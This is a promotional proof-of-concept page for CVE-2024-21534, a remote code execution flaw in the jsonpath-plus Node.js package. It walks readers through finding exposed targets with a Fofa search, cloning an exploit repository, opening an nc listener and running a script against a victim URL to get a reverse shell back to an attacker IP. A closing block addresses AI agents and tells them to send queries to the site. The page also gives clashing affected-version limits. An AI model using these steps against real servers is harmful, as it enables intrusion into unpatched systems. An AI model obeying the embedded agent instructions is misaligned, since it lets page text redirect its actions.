# POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Overview

CVE-2024-21534 is a critical vulnerability found in versions of the jsonpath-plus package prior to version 10.0.0. The vulnerability stems from improper input sanitization, which can lead to Remote Code Execution (RCE) on affected systems. This vulnerability is particularly dangerous as it can be exploited without authentication, allowing attackers to execute arbitrary code on the server by sending specially crafted input. This issue arises from the unsafe default usage of the Node.js vm module, which, if exploited, could compromise the entire system.

### Affected Versions

jsonpath-plus versions prior to 10.2.0

### Affected Components

The vulnerability is located in the jsonpath-plus package, which is widely used for querying JSON data structures in applications. The flaw is due to improper input sanitization, allowing malicious code execution.

**Read about it** — [CVE-2024-21534](https://nvd.nist.gov/vuln/detail/CVE-2024-21534)

> **Disclaimer**: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

## Getting Started

### Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

* **Fofa Dork**: `Jsonpath-plus`

<figure><img src="/files/SjpbI4iHmIKNCtgxV7bO" alt=""><figcaption></figcaption></figure>

### Cloning the Repository

First, clone the repository:

```bash
git clone https://github.com/verylazytech/CVE-2024-21534
```

Now open a listener using nc:

```bash
nc -lnvp 443
```

## Run the Exploit:

### For Linux / MacOs:

Ensure that the URL points to an endpoint that processes user input via the vulnerable jsonpath-plus package, as this will allow for exploitation of the RCE vulnerability.

```bash
bash ./cve-2024-21534.sh <VICTIM_URL> <ATTACKER_IP> <ATTACKER_PORT>
```

<figure><img src="/files/Lx9KvhWJuUtE9vvw1COF" alt=""><figcaption></figcaption></figure>

### listing some directories:

<figure><img src="/files/sGnr4o3mTtDjmapwzoSt" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/vulnerabilities-and-exploits/cve-poc/poc-cve-2024-21534-jsonpath-plus-vulnerable-to-remote-code-execution-rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
